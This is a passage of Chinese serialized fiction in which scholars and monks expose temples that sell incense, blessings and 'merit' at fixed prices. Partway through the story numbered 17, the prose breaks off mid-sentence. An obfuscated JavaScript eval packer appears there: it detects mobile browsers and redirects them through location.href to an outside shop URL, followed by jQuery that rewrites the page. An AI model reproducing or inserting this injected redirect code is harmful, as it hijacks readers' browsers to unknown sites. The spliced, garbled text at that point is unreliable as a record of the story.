香客怔了怔,从怀里掏出几文,扔进桶旁竹筐——筐是漏的,钱漏到地上。小沙弥捡起,还给他:“师父说,要捐,捐给城外粥棚。这里,只给水。” 顾清臣远远看着,没过去。转身时,见慧静在寺门内扫地,对他颔首一笑。 他也一笑,走了。 六月,洛阳大雨。大相国寺那尊贴金佛像,因金箔太厚,积水渗入,木胎腐朽,一夜之间,垮了半边。金箔剥落,露出里头糟烂的木头,虫蛀蚁咬,千疮百孔。 僧众要重铸,慧明出关,只说:“不必。就这样摆着,让人看看,金身里头是什么。” 香客来看,见那朽木佛像,半边金光,半边腐朽,说不出的诡异。有文人题诗于壁: “金妆裹朽木,香火养痴虫。 一朝风雨至,方知内外空。” 诗传开,各寺贴金的佛像,悄然刮去了些金箔。有方丈说:“留点木胎,透气。” 顾清臣听说,只对书吏道:“记下,建武十四年六月,洛阳佛像,开始会喘气了。” 书吏不解:“佛像怎会喘气?” “去了层金枷,可不就能喘气了?”顾清臣合上卷宗,“但愿喘气的,不止佛像。” 窗外,又下雨了。雨打芭蕉,声声清脆,像在敲木鱼。 只是这木鱼声里,听不出是经,是咒,还是…人间烟火气。 尾声水月镜花 三年后,顾清臣调任离京。行前,独往洛水边。暮色中,见一老僧在汲水,是慧静。 “师父还在挑水?” “挑。”慧静直起腰,“只是现在,有八个弟子帮着挑。城外粥棚,也多了三处。” 顾清臣望去,洛水汤汤,流金碎月。 “参军要走了?” “嗯。” “临行,老衲赠参军一言。”慧静合十,“佛门事,如这洛河水。有清有浊,有涨有落。参军搅动一池水,浊者沉,清者浮,可水终是水,流终是流。莫执着一时清浊,但看…流到哪里去。” 顾清臣长揖:“谢师父指点。” 他转身登船。船行中流,回望洛阳。城中寺庙灯火,如星点点。那尊垮了半边的佛像,在暮色中只剩轮廓,像幅写意画。 船公忽然道:“客官,听说没?如今洛阳浴佛,不要钱了。寺里摆个大缸,谁渴了,自己舀。有富户捐钱,寺里就刻个名在缸上——不是佛座,是缸。说这叫‘功德缸’。” 顾清臣笑了:“这名字好。功德如水,装在缸里,给人解渴,才是真功德。” 船公也笑:“谁说不是呢!去年俺娘病了,去寺里求水,小师父舀了瓢,还加了勺糖,说‘老人家,甜一点,好得快’。俺娘喝了,真就好了!嘿,你说奇不奇?” 顾清臣望向江心月影,轻声道:“不奇。甜水治病,是奇;慈心治病,是常。” 船远了,洛阳远了。唯有洛水声,潺潺不绝,像在说一个说了千年的道理: 佛不渡人,人自渡。 佛不卖水,水自流。 本章诫世 一、 金身秤佛之诈 - 以贴金为名,行敛财之实,将信仰物化为交易 - 破解法:凡见“功德明码标价”,必是买卖;凡闻“捐多福多”,当思福在何处 - 示例:分级浴佛、刻名标价、踹开贫乞 二、 糖水慈悲之伪 - 以香糖水冒充法水,以廉价物换高价“心安” - 惕世:当慈悲成为生意,虔诚便成成本;当信仰成为买卖,良知便成账本 - 反思:宗教商业化背后的精神贫困 三、 扁担真功之照 - 慧静四十年挑水,对照前殿贴金,显真假修行 - 深层隐喻:真功德在无人见处,假热闹在香火鼎盛时 - 终极质问:佛在金殿,还是在挑水路上? 浴佛偈: 浴佛原为浴自心,何须金箔贴满身。 一瓢清水济人渴,胜似千金刻名深。 莫道伽蓝无秤杆,人心自是定盘星。 但看朽木金剥后,春风秋雨一般听。 后世叹: 建武十四浴佛辰,金箔照眼眩众生。 一瓢糖水百钱价,满殿功德千贯名。 岂知真佛挑水去,犹有痴人铸金迎。 浴罢不知身是客,洛河依旧月空明。 正是: 四月八日佛诞辰,金妆宝相眩洛阳。 一瓢糖水百钱价,满殿善财千贯香。 岂知真功在扁担,谁见慈心出药囊。 莫道伽蓝无杆秤,人心自分浊与清。 17. 神诞金谳 楔子炉香价高 太平七年六月六,长安城北崔府君庙的香炉,天不亮就烫手了。 不是香火旺,是有人用炭盆在炉底下煨着——为让头炉香的“热气”能卖个好价钱。管香火的道士玄真,法号听着清高,打算盘的手势却比账房还利落。他在香炉前三步处划了道朱砂线,线前摆三个蒲团: 头炉香,金十两,保官运亨通; 二炉香,银五两,保家宅平安; 三炉香,铜三贯,保子嗣昌隆。 卯时三刻,庙门一开,香客如潮。头一个冲进来的,是户部度支司员外郎刘守财。他捧着个锦盒,盒开,金灿灿十两元宝,往功德箱一扔,抓起三柱胳膊粗的高香,就要往炉里插。 “慢着!”玄真拂尘一拦,“刘员外,您这是求什么?” “求…求升迁!”刘守财喘着粗气,“下月考课,听说右侍郎位子空出来了…” “哦。”玄真捻须,“那这香,得换个插法。您得面朝东南——崔府君当年是从东南方飞升的,朝那个方向,心意才到。” 刘守财忙转身。玄真又拦住:“且慢!还得念咒。来,跟着贫道念:‘府君明鉴,信士刘守财,愿以十年阳寿,换一个侍郎位…’” “十年阳寿?!”刘守财手一抖。 “舍不得?”玄真眯眼,“那五年也成。府君大度,讨价还价也是可以的。” 刘守财咬牙:“五年就五年!” “好嘞!”玄真朝后喊,“童儿,记上——刘员外捐金十两,阳寿五年,求侍郎位!” 小道士捧出本“功德簿”,朱笔记下。刘守财这才颤巍巍插上香,拜了三拜。起来时,脸色煞白,不知是熏的还是吓的。 后面排着队的香客,个个伸脖瞪眼。有商人捧银求财,玄真说“得加三年寿”;有老妇捧铜钱求孙,玄真说“得减一纪福”。价码随口开,童儿埋头记,功德簿越写越厚,厚得像本卖身契。 日上三竿时,来了个布衣书生,名唤独孤明。此人三十许,面容清癯,背个青布书囊,站在人堆外冷眼看着。等刘守财拜完出来,他踱过去,作了一揖: “刘员外,学生有一事不明,想请教。” 刘守财正心疼那五年阳寿,没好气道:“讲!” “学生读《太平广记》,说崔府君生前为官清廉,死后成神,最恨贪贿。今日这庙里,明码标价卖香火,与市井何异?府君若有灵,是该喜,还是该怒?” 刘守财一愣。旁边香客听见,也窃窃私语。 玄真在殿内听见,疾步出来,拂尘一指:“哪来的狂生,谤神辱道?!” 独孤明不慌不忙,又作一揖:“道长息怒。学生只是好奇——府君既已成神,超脱生死,要人间金银何用?要信众阳寿何用?” “这…”玄真语塞,旋即冷笑,“此乃供奉,表诚心耳!若无诚心,求什么应什么?” “诚心在金银多寡?在阳寿长短?”独孤明从书囊中掏出本《崔府君异政录》,翻到一页,“府君生前断案,有富商贿金百两求胜诉,府君掷金于地,曰:‘法无价,岂金银可沽?’今日这道场,倒像是把府君当年掷掉的金子,又一块块捡回来了。” 众香客哗然。玄真涨红脸,强辩道:“此一时彼一时!如今修庙塑金身,哪样不要钱?尔等只知求神,不知养神,岂非忘恩负义?” 独孤明笑了:“道长说得是。只是学生愚见,神若需人养,还算什么神?庙若需金饰,与勾栏瓦舍何异?” 他转身,对众香客朗声道:“诸位,神在心中,不在庙中;诚在行善,不在烧香。今日你们捐的金银、许的阳寿,若真能到神前,神会不会叹一句——‘吾当年掷金拒贿,原是为今日价更高’?” 言罢,拱手一礼,飘然而去。 留下满庙香客,面面相觑。刘守财忽然捶胸:“我的五年阳寿啊…” 玄真急喝:“休听狂生胡言!头炉香已烧,府君已知…” “知什么?”刘守财瞪眼,“知我花了十两金、五年寿,买个不知能不能到手的侍郎位?” 他一把抢过功德簿,撕个粉碎。香客见状,纷纷讨还金银。场面大乱。 玄真站在香炉旁,炉火映着他铁青的脸。他盯着独孤明离去的方向,咬牙道:“六月二十四,二郎神诞…咱们等着瞧。” 二、 戏法神工 六月二十四,灌口二郎神诞,比崔府君生日热闹十倍。 神保观在城西万胜门外,本是前朝旧观,近年御赐重修,金碧辉煌。二十三日起,宫里就送来戏玩百物:金丝球杖、玉靶弹弓、象牙弋射具,乃至整副的鎏金马鞍、珍珠樊笼…说是“与民同乐”,实则炫富。 最奇的是殿前两座幡竿,高十丈,竿顶横木上,日夜有“神人”表演:吐火、吞剑、履刀山。百姓仰头看,脖子酸了,就低头往功德箱里扔钱——扔得越多,“神人”演得越险。 独孤明这日也来了,混在人群里。他不上香,只看,看了一个时辰,忽然笑了。 身旁老汉问:“先生笑什么?” “我笑这戏法精彩。”独孤明指幡竿,“老汉您看,那吐火的,火从口中出,可曾烧了胡须?那履刀的,脚踩刀刃,可曾见血?” 老汉眯眼细看:“咦…是有些怪。” “不怪。”独孤明道,“火是松香粉,遇风自燃,看似从口出,实从袖喷。刀是钝铁刷银粉,踩上去吱呀响,却伤不了人。这是江湖戏法,不是神通。” 正说着,观主玉阳子登台了。这道士五十许,面如冠玉,声若洪钟,先颂二郎神治水功德,忽话锋一转: “今岁渭水泛滥,淹田千顷,皆因孽龙作祟!贫道昨夜得神谕,需铸‘镇水剑’一柄,长九尺,重九九八十一斤,纯金为体,宝石嵌目,方可镇龙!” 台下哗然。金剑,那得多少金子? 玉阳子击掌,四个道士抬上个木箱,箱开,里头是把金光闪闪的铜剑——外头刷了金漆。他捧剑高呼:“此乃剑胚!需信众捐金附灵,方成神兵!捐一钱,刻一名于剑穗;捐一两,刻于剑格;捐十两…刻于剑身,与神同在!” 香客沸腾。有商人喊:“我捐二十两!刻大名!” “我捐五十两!” “我捐…” 独孤明摇头,挤出人群,走到观后工棚。棚里热火朝天,几个工匠正在铸剑——是普通的铁剑,刷上金漆,就是“镇水剑胚”。旁边堆着几十把“旧镇水剑”,剑身刻满名字,锈迹斑斑。 管工棚的老匠人见生人来,忙拦:“此处禁地!” 独孤明递过几个铜钱:“老丈,学生好奇,这剑…真能镇水?” 老匠人四下看看,低声道:“镇什么水!去年铸了七把,今年渭水不照样淹?观主说,是捐金不够,得再铸。其实…”他指指后院,“铸好了,都堆那儿,一场法事抬出来晃一晃,完事扔回去。金漆剥了再刷,名字刮了再刻。一本万利。” “那幡竿上的神人…” “都是江湖艺人,一日五百文,比走街串巷强。”老匠人叹气,“这哪是道观,是戏园子,是…卖名簿的铺子。” 正说着,外头锣鼓喧天。玉阳子登台“开光”,将新铸的“镇水剑”舞得呼呼生风,忽然剑尖一指渭河方向,大喝:“孽龙!还不伏法?!” 恰此时,一阵风吹过,幡竿上“神人”正吐火,火星溅到剑身的金漆上——金漆是油调的,见火就着。玉阳子手中剑,顿时成了火把。 “神迹!神迹啊!”台下香客惊呼,纷纷下拜。 玉阳子脸都绿了,强作镇定:“此乃…此乃神火炼剑!大家来看,凡金脱落,真金现世!” 他猛甩剑,想把火甩灭,谁知用力过猛,剑脱手飞出,正扎在功德箱上。箱是薄木板,应声而裂,里头铜钱银锭,哗啦啦洒了一地。 香客愣住。玉阳子也愣住。 独孤明在人群后,悠悠道:“道长,神火炼剑,炼出个破财箱。这是二郎神示警——嫌诸位捐得少,要亲自来取么?” 哄笑声起。玉阳子狼狈拾剑,剑上金漆已烧秃大半,露出黑黢黢的铁胎。有眼尖的香客叫:“咦?这剑…是铁的?!” “铁剑刷金,就敢要十两金?” “退钱!退钱!” 场面又乱了。玉阳子恨恨瞪向独孤明,独孤明却已转身,踱出观门。 门外夕阳正好,照得渭水波光粼粼。几个渔夫正在补网,见他出来,笑道:“先生今日又拆台了?” 独孤明摆摆手:“拆不了。今日拆了明日建,这戏,唱不完的。” 他沿河而行,见岸边新淹的稻田,秧苗烂在水里,农人蹲田埂上哭。 神保观里的锣鼓声,隐隐约约飘过来,喜气洋洋。 三、 神价几何 三日后,独孤明被“请”到长安府衙。 府尹姓张,是刘守财的姐夫。他拍着案上两本账册——一本是崔府君庙的“功德簿”残页,一本是神保观的“捐金录”,冷着脸: “独孤明,你三番两次扰闹神诞,谤神辱道,该当何罪?” 独孤明长揖:“学生愚钝,不知罪在何处。” “你还狡辩!”张府尹抖着账册,“就因你胡言,崔府君庙六月六日,香火钱少了七成!神保观二十四日,捐金少了六成!这损失的功德,你担得起么?” “原来府尹在乎的是功德钱。”独孤明点头,“那学生倒要请教——功德是钱,还是行?若捐钱便是功德,那贪官污吏,大可贪了捐,捐了贪,循环往复,岂非功德无量?” “放肆!” “学生不敢。”独孤明从容道,“只是读史书,见崔府君生前,有富户贿金求免罪,府君曰:‘尔金可买官,不可买法。’今其庙中,明码标价卖香火,是买法,还是买神?若府君有灵,见此景,当作何想?” 张府尹语塞。师爷在旁阴声道:“独孤先生倒是清高。可修庙塑像、养道供神,哪样不要钱?若无香火,神何以存?道何以传?” “神在人心,道在自然,何需金塑银供?”独孤明道,“学生这几日,走了长安七十二道观。见三清殿金碧辉煌,老君像缀珠嵌玉,可殿后菜园荒芜,藏经阁漏雨。道士们忙着做法事、收供养,没空种菜,没空修书。这修的,是道,还是…生意?” 他自袖中取出一卷纸:“此乃学生抄录的‘神价单’,请府尹过目。” 纸展开,列着: 崔府君庙: 头炉香,十两金(保官运) 解冤法事,二十两(消业障) 托梦问卜,五两(得神谕) 刻名长生牌,一两/年(续阳寿) 神保观: 镇水剑留名,十两起(避水患) 请二郎符,三两(镇宅) 过火坑,一两(祛病) 摸神驹,五百文(得神力) 林林总总,四十七项,明码标价。 张府尹看得额头冒汗。师爷强辩:“此乃…此乃信众自愿供奉!” “自愿?”独孤明笑,“若学生今日在衙门外贴张告示,说‘捐十两金,保不坐牢’,可有人捐?捐了,府尹收不收?若收,与庙里卖香火何异?若不收,为何容道士收?” “这…这是两码事!” “是一码事。”独孤明正色,“神权法权,皆是权。权若可买卖,世道必乱。今日道士卖神佑,明日术士卖天命,后日…会不会有人卖‘真龙血统’‘天命所归’?” 张府尹手中茶盏,啪地落地。 独孤明深揖:“学生言尽于此。府尹若觉学生谤神,可治罪;若觉有理…还请看看长安城外,那些被渭水淹了田、却凑不出一钱香火钱的百姓。他们的命,他们的苦,神看不见,庙看不见,官府…该看见。” 言罢,转身出衙。背影挺直,如剑如枪。 张府尹呆坐良久,对师爷道:“那两本账册…烧了。” “那庙里…” “让他们收敛些。”张府尹望向窗外,夕阳如血,“这独孤明…是个镜子。照得人,睁不开眼。” 四、 泥马渡金 七月,渭水又泛。朝廷拨赈灾银三十万两,过手一层层盘剥,到灾民手里,只剩粥一碗。 灾民聚在神保观外,求二郎神显灵。玉阳子登台,又搬出“镇水剑”,说要再铸一把“真金剑”,需捐金百两。 灾民中,独孤明排众而出,朗声道:“道长,学生有一问。” 玉阳子见是他,脸一沉:“又是你!” “学生想问,二郎神当年治水,靠的是什么?是金剑,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088169|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人心?” “自是…自是神威!” “神威在何处?”独孤明指灾民,“在这些人饿瘪的肚子里?在破庙烂泥中?道长若有神通,何不先治眼前的水,再谈铸剑?” 玉阳子恼羞成怒:“你懂什么!此乃天灾,非人力可抗!需以金剑通神,方得神助!” “哦。”独孤明点头,“那学生再问——道长可知‘泥马渡康王’的典故?” 众人都怔。这典故说的是崔府君显灵,泥马渡康王过江,保其登基。 “知道又如何?” “学生想,泥马可渡王,为何不能渡民?”独孤明从怀中掏出块泥巴,三捏两捏,捏成个小马,摆在观前石阶上,“今日,学生也学府君,捏泥马渡灾民。各位——” 他环视灾民:“谁愿信这泥马,就信。不信,就看看这道观——金顶玉阶,却渡不了一人出苦海。神在哪里?在泥马里,还是在金殿上?” 灾民沉默。忽然,一老妪颤巍巍上前,对泥马拜了拜:“我信…我信泥马,能渡我孙儿不饿死。” 她放下一文钱——全身最后的一文。 接着,有老汉放半块饼,有妇人放缕头发…石阶上,泥马前,堆起座小小的“供奉”,寒酸,却沉甸甸。 玉阳子脸色铁青。观里那尊金身二郎神像,在香火中静静看着,眉眼模糊。 独孤明对玉阳子长揖:“道长,你看,神不在金剑,在人心;道不在高台,在泥土。今日这泥马,收一文钱,渡一个人心。比那把十万金的‘镇水剑’,哪个更像神迹?” 他转身,对灾民道:“诸位,灾要救,靠人,不靠神。官府粥棚在城南,虽稀,能活命。有气力的,随我去领粥、修堤。没气力的,在此歇着——但记住,拜神不如拜自己,求人不如求己。” 他率先往城南走。灾民沉默片刻,有人跟上,一个,两个…渐渐成行。 玉阳子独立高台,台下空无一人。只有那尊泥马,在夕阳下,影子拉得老长,像在笑。 尾声金身泥胎 八月,崔府君庙的香炉,不知被谁砸了个窟窿。玄真说是“天雷劈的”,可那窟窿边缘整齐,分明是铁锤砸的。 九月,神保观的“镇水剑”生锈,金漆剥落,露出底下刻的密密麻麻的名字——最早的名字,是五十年前的。原来这把剑,已“镇”了五十年水,越镇水越大。 十月,独孤明离了长安,云游去了。走前,在城门口茶摊,听茶客议论: “听说了么?崔府君庙那头炉香,降价了——五两就成。” “神保观那镇水剑,也不说要金了,捐三文就能刻名。” “嘿,这是良心发现了?” “发现什么呀!是没人信了!前几日渭水退,是官府征民夫挖的渠,关神屁事!” 独孤明笑了笑,丢下茶钱,背起行囊。摊主问:“先生去哪儿?” “往南,听说那边有座小庙,庙里没金身,只有个老道,会看病,不收钱。” “那有什么看头?” “有真看头。”独孤明摆摆手,走入秋色。 他走后,长安的道观,悄悄刮去些金漆,撤了些价牌。有道士开始学医,有庙宇开始施粥——倒不是真悟了,是香客精明了,不弄点真的,骗不到钱了。 腊月,大雪。崔府君庙那尊贴金像,被雪压塌了半边。玄真这回没重修,就用泥补了补,补得歪歪扭扭,像道疮疤。 有文人题诗于壁: “金身原是泥胎, 何必脂粉重施? 一朝风雪洗净, 方见本来面目。” 诗传开,各庙的金身,都显得有些尴尬。在烛火里,金光闪闪,却总像戴着面具。 而城南那小庙里,独孤明正帮老道捣药。庙小,佛也小,是木雕的,漆都掉光了。可来上香的,多是穷人,放一把米,磕个头,说些家长里短。 老道问:“听说你在长安,拆了不少台?” “没拆。”独孤明捣着药,“只是说了些实话。” “实话伤人。” “伤的是假,真的,伤不着。”他抬头,看庙外飞雪,“神不在高处,在低处;道不在金里,在泥里。这话,总得有人说。” 老道笑了,递过碗热粥:“喝吧,泥里的道。” 独孤明接过,粥烫,暖手。 庙外,雪落无声。远处长安城的灯火,在雪雾中朦胧一片,分不清哪是道观,哪是人家。 唯这碗粥,是实在的。 唯这泥胎神像的笑,是慈悲的。 虽然那笑,是木刻的,不会变。 本章诫世 一、 神诞标价之诈 - 将信仰节日彻底商业化,神佑按价分级 - 破解法:凡见“神明明码标价”,必是生意;凡闻“捐多灵验”,当思灵验在何处 - 示例:头炉香竞拍、阳寿抵功德、镇水剑集资 二、 戏法神通之伪 - 以江湖杂耍冒充神迹,以工匠之作充“通灵法器” - 惕世:当宗教仪式成为表演,虔诚便成门票;当神迹可以彩排,信仰便成戏票 - 反思:民俗狂欢与精神欺骗的模糊边界 三、 泥马金剑之照 - 泥马渡民的象征,对照金剑镇水的虚妄 - 深层隐喻:真信仰在泥土中,伪信仰在金光里 - 终极质问:渡人的是泥马,还是金剑?是神,还是人心? 神诞偈: 六月六日香火稠,二十四日戏未休。 金剑何曾镇水患,泥马或可渡人愁。 莫道神前功德簿,无非世上贪婪筹。 但看雪压金身裂,方知泥胎最长久。 后世叹: 太平七年事可嗟,神诞日作贾生涯。 一炉香火十年寿,百两金铜数寸瑕。 幡竿戏法充灵异,泥马渡心胜銮车。 莫道长安无慧眼,独孤明后雪覆纱。 正是: 六月神诞闹未休,长安城内价如流。 炉分三等香分价,剑镀重金漆镀忧。 岂知泥马能渡厄,谁见金身真解愁? 莫道痴愚皆信众,雪压幡竿也低头。 18. 布袋行谳 楔子破扇指月 天启三年的腊月,青州城来了个怪人。 此人二十出头,蓬头垢面,着百衲衣,趿拉双露趾草鞋,腰间挂个褪色的布袋。白日里在街市游荡,见包子铺摸个包子,见茶摊端碗茶,给钱不给钱,全看心情。店家要骂,他便咧嘴一笑,露出两排白牙,眼中清明得像雨后青山。 人都唤他“布袋和尚”,因那布袋从不离身,却永远瘪着。有好奇的孩童问:“和尚,你袋里装的啥?” 他便敞开袋口——空的。问急了,就说:“装风,装月,装人间不平事。” 孩童哄笑散去。 这日腊八,青州首富周半城在府门前施粥。布袋晃到粥棚前,不排队,径自走到粥桶边,探头看了看,摇头:“水多米少,清可见底,这粥喂鸟都不够。” 周半城正陪知府说话,闻言皱眉:“哪来的野和尚,胡言乱语!” 布袋不恼,从怀中掏出个破钵,舀了满满一钵粥,却不喝,走到街角老丐前,递过去:“老丈,你先喝。” 老丐哆嗦接过。布袋转身,对周半城道:“周老爷,你这粥,是施给人,还是施给眼?” “什么意思?” “施给人,该让人吃饱;施给眼,摆个样子就行。”布袋指指天,“老天爷看着呢,你这粥清得能照见你脸上的心虚。” 知府脸一沉:“放肆!来人,将这疯和尚赶走!” 差役正要动手,布袋忽然从破布袋中掏出把破蒲扇,对着粥桶一扇—— 怪事发生了:那清汤寡水的粥,忽然变稠了,米香四溢。排队饥民哗然,纷纷往前涌。 周半城目瞪口呆。知府颤声:“你…你是妖僧?!” 布袋大笑,扇子又朝周半城一扇。周半城怀中的银票,忽然如雪片般飞出,飘向饥民。饥民争抢,场面大乱。 趁乱,布袋晃出人群,哼着小调走了。走出半条街,忽听身后有人道:“和尚留步。” 一、 空袋渡人 叫住他的是个青衫书生,名唤顾清源,是青州府新来的刑名师爷。此人三十许,面白微须,眼神锐利如鹰。 “师爷有事?”布袋转身,依旧嬉笑。 “适才那粥变稠、银票自飞,是何戏法?” “戏法?”布袋眨眨眼,“是人心贪,看什么都像戏法。粥本不稀,是看粥的人心里稀;银票本不会飞,是揣银票的人心里慌。” 顾清源盯着他:“你究竟何人?” “我?”布袋拍拍腰间空袋,“无名无姓,无来无去。世人叫我布袋,我便应着;叫我疯子,我也应着。名相而已,何必认真?” “那你来青州作甚?” “看看。”布袋望向城门方向,“听说青州有‘三苦’:东城水苦,西城税苦,南城冤苦。我来看看,苦到什么程度。” 顾清源心中一动。东城井水咸涩,是因盐商私开盐井坏了水脉;西城税重,是因知府加征“剿匪捐”;南城有桩冤案,寡妇秦氏被夺田产,告了三年无门。这三事,是青州暗疮,无人敢提。 “你看又如何?” “看了,或可治。”布袋从袋中掏出个干馒头,掰一半递给顾清源,“师爷,吃么?” 顾清源不接:“和尚自己吃吧。” “我吃过了。”布袋将馒头塞回袋中,“师爷心里有事,吃不下。可是为南城秦寡妇的田契?” 顾清源骤惊:“你如何知晓?” “我袋里装的。”布袋拍拍空袋,“风告诉我,月告诉我,满城百姓的窃窃私语告诉我——秦氏的田,被周半城强占,转手送给了知府小舅子。这官司,你接不了,因为知府压着;也断不了,因为契是假的,可造假的人…死了。” 字字如针,扎在顾清源心上。此事他暗中查了半月,才理清的关节,这疯和尚竟随口道出。 “你…想如何?” “我不想如何。”布袋咧嘴,“但秦寡妇想。她儿子病重,没钱治;她老母眼瞎,等米下锅。师爷,你说,是田重要,还是命重要?” 顾清源默然。 “自然是命重要。”布袋自问自答,“可这世道,有时要命,得先舍命。秦寡妇舍了三年光阴,没换来田,倒快把命搭进去了。这账,怎么算?” 他转身,晃着破扇往南城去。顾清源跟上。 秦寡妇家在城南漏雨巷,土墙将塌。布袋推门进去,屋内昏暗,药味混着霉味。秦氏正给儿子喂药,见生人来,惶然起身。 布袋不言语,走到炕前,看了看那面色蜡黄的少年,伸手摸了摸额头。又从袋中掏出一把草根,递给秦氏:“三碗水熬一碗,早晚各服。三日后,热可退。” 秦氏将信将疑。布袋又道:“你的田,三日后有消息。莫问,莫急,先救孩子。” 说罢转身出屋。顾清源跟出:“你哪来的药?” “路边拔的。”布袋道,“车前草、蒲公英、金银花,清热退烧,地里多得是。只是穷人不知,知了也没空采——要忙着打官司,忙着哭,忙着等死。” 顾清源心中刺痛:“你果真要管这田产案?” “我不管。”布袋摇扇,“是师爷要管。” “我?” “你心里不是早有主意了么?”布袋笑,“那假地契上的手印,是右手拇指。可秦氏左手六指,自幼只用左手按印——这事,验尸的仵作知道,可仵作死了。但仵作的徒弟还在,在城西棺材铺打杂。师爷,这线索,可够?” 顾清源浑身一震。此事他查了许久未得,这和尚竟如数家珍。 “你…究竟是谁的人?” “我?”布袋抬头看天,雪粒子正落下,“我是冬天里的一把火,烧不了整个寒冬,但能暖一双手。师爷,你是那双手么?” 他晃着破扇,哼着小调走了。雪地上,留下一串歪斜的脚印,和一个空瘪的布袋影子。 顾清源立在雪中,良久,朝那背影深深一揖。 二、 弥勒笑苦 三日后,秦寡妇之子热退,能下炕了。同日,知府衙门的案卷房“走水”,烧了几卷旧档,其中就有秦氏田契的存底。没了存底,周半城手里的“真契”便成无根之木。 又三日,仵作徒弟“偶然”说起当年验尸旧事,说师父临死前念叨“左手六指,天大的冤”。这话传到顾清源耳中,他当夜便重审旧案,以“手印不符”为由,暂封田产。 周半城大怒,上知府处施压。知府却病倒了,说是“邪风入体”,满嘴胡话,总说看见个破布袋在眼前晃。 布袋和尚呢?他在城隍庙前摆了个摊,不卜卦,不看相,就坐着,面前摆个空碗。有人给钱,他收;不给,他笑。收来的钱,转眼就给了路过的小乞儿、病老汉、卖身葬父的少女。 这日,盐商马百万路过,见这和尚怪,便逗他:“和尚,都说弥勒佛笑口常开,你整日笑,是弥勒转世么?” 布袋抬眼:“弥勒笑,是笑世人痴。我笑,是笑自己傻。” “傻在何处?” “傻在以为能渡人。”布袋指指马百万,“比如马老爷你,家财万贯,可每夜睡不着,怕盐井塌,怕伙计贪,怕夫人偷汉子——这万贯家财,买不来一夜安眠,可笑不可笑?” 马百万脸色一沉:“胡说什么!” “我说错了?”布袋掰手指,“你盐井在东山,坏了三村水脉,五百户没干净水喝。你夜里做梦,是不是常听见婴孩哭?那是喝了咸水生病的娃在哭。这哭声,万贯家财压得住么?” 马百万冷汗涔涔,强作镇定:“你…你血口喷人!” “人血是咸的,跟你井里的水一样。”布袋起身,拍拍屁股,“马老爷,回去吧。今夜你夫人偷的汉子,要从后门走了。你现在赶回去,还来得及捉奸在床。” 马百万浑身发抖,跌跌撞撞跑了。围观百姓哄笑。 有老儒叹道:“这和尚嘴太毒,要遭报应。” 布袋回头,对老儒一笑:“老先生,你儿子三年不第,不是才不够,是银子没送够。考官昨夜又纳了房小妾,你猜,聘银哪来的?” 老儒脸一白,掩面疾走。 顾清源远远看着,摇头苦笑。他走过来,低声道:“和尚,你如此揭人短,不怕惹祸?” “祸?”布袋眨眨眼,“祸在人心,不在我口。我说不说,它都在。我说了,或有人醒;不说,都醉着。师爷,你说,是醒着好,还是醉着好?” “自然是醒着好,可…” “可醒着痛。”布袋接话,“但痛过,才知道自己是活人。醉着,舒服,可那是死人的舒服。” 他自袋中掏出个干饼,掰一半给顾清源:“师爷,你心里有苦。苦在…明明有才,却要屈身在这污泥潭里,同流合污。苦在…想做个清官,可清官要饿死。对不对?” 顾清源默然接过饼,咬了一口,粗粝得拉嗓子。 “这饼难吃,可顶饿。”布袋将自己那半也塞给他,“师爷,再难吃,也得吃。吃饱了,才有力气…做该做的事。” 他晃着破扇走了。顾清源握着半块饼,看那褴褛背影消失在长街尽头。 雪又下起来。这青州的雪,也带着股咸涩味。 三、 癫僧渡世 腊月二十三,小年。青州城传出两桩奇事: 一是盐商马百万,忽然散尽家财,捐修水渠,引清水入三村,自己剃度出家,去了西山破庙。 二是知府“病愈”后,竟主动重审积年冤案,平反了七桩,其中就有秦寡妇的田产案。田归还那日,知府亲自登门致歉,留下一百两抚慰银。 满城哗然。都说是有神佛显灵,却不知是那疯和尚,半月来夜夜“拜访”知府,也不说话,就坐在床头,睁着清亮的眼看着他。知府一闭眼,就梦见自己被装进个破布袋,闷得喘不过气。三日下来,精神崩溃,这才“良心发现”。 布袋和尚的名头,一夜传遍青州。有说他能“入梦点化”,有说他能“掐算前世”,更有富户捧着金银来求“开示”。 布袋一概不见,只躲在城隍庙偏殿,与几个老乞丐烤火。乞丐问他:“和尚,你真有神通?” “有。”布袋往火堆里添柴,“神通就是——我知道冷,知道饿,知道痛。你们也知道。这便是神通。” 乞丐们哄笑:“这算什么神通!” “这神通最大。”布袋正色,“佛为什么成佛?因为他知众生苦。知苦,方能渡苦。我知你们苦,所以来和你们烤火;你们知彼此苦,所以分一碗粥。这便是渡。” 一老丐叹道:“可渡了我们几个,渡得了满城苦么?” “渡一个是一个。”布袋伸手烤火,“火堆就这么大,能暖几人暖几人。若嫌暖得少,便不加柴,那一个也暖不了。” 正说着,庙外来了一群人,是周半城的家丁,说要“请”和尚过府“讲经”。布袋不动,只说:“告诉周老爷,他要的经,在城南乱葬岗。那里躺着他逼死的三条人命,经在尸骨上写着呢,他自己去读。” 家丁变色,强行动手。布袋也不抵抗,被架着走。路过顾清源公廨时,他忽然高歌: “金满箱,银满箱,转眼乞丐人皆谤。 正叹他人命不长,哪知自己归来丧! 乱烘烘你方唱罢我登场,反认他乡是故乡。 甚荒唐,到头来都是为他人作嫁衣裳!” 顾清源推窗,见布袋被拖行,雪地上一道痕。他忍了又忍,终是拍案而起:“住手!” 家丁见是师爷,悻悻放手。顾清源上前,对布袋长揖:“和尚,清源愚钝,至今方懂——你这布袋,装的是人间公道。” 布袋笑,从破袋中掏出个东西,塞给顾清源:“师爷,这个送你。” 是个木头刻的小弥勒,笑脸团团,可眼中无珠——是俩窟窿。 “这是…” “弥勒。”布袋道,“佛在时,眼里有众生;佛去后,眼里只剩窟窿,因为众生…都不看佛了,只看佛前的香火。” 他转身,对周府家丁道:“回去告诉周老爷,今夜三更,我自会去。让他备好酒,我要与他…讲讲《金刚经》。” 家丁将信将疑,散去。顾清源急道:“和尚,周半城心狠手辣,你去不得!” “去得。”布袋拍拍他肩,“师爷,你记住——这世间最利的剑,不是刀剑,是真话;最坚的盾,不是铁甲,是良心。我有真话,他有良心么?” 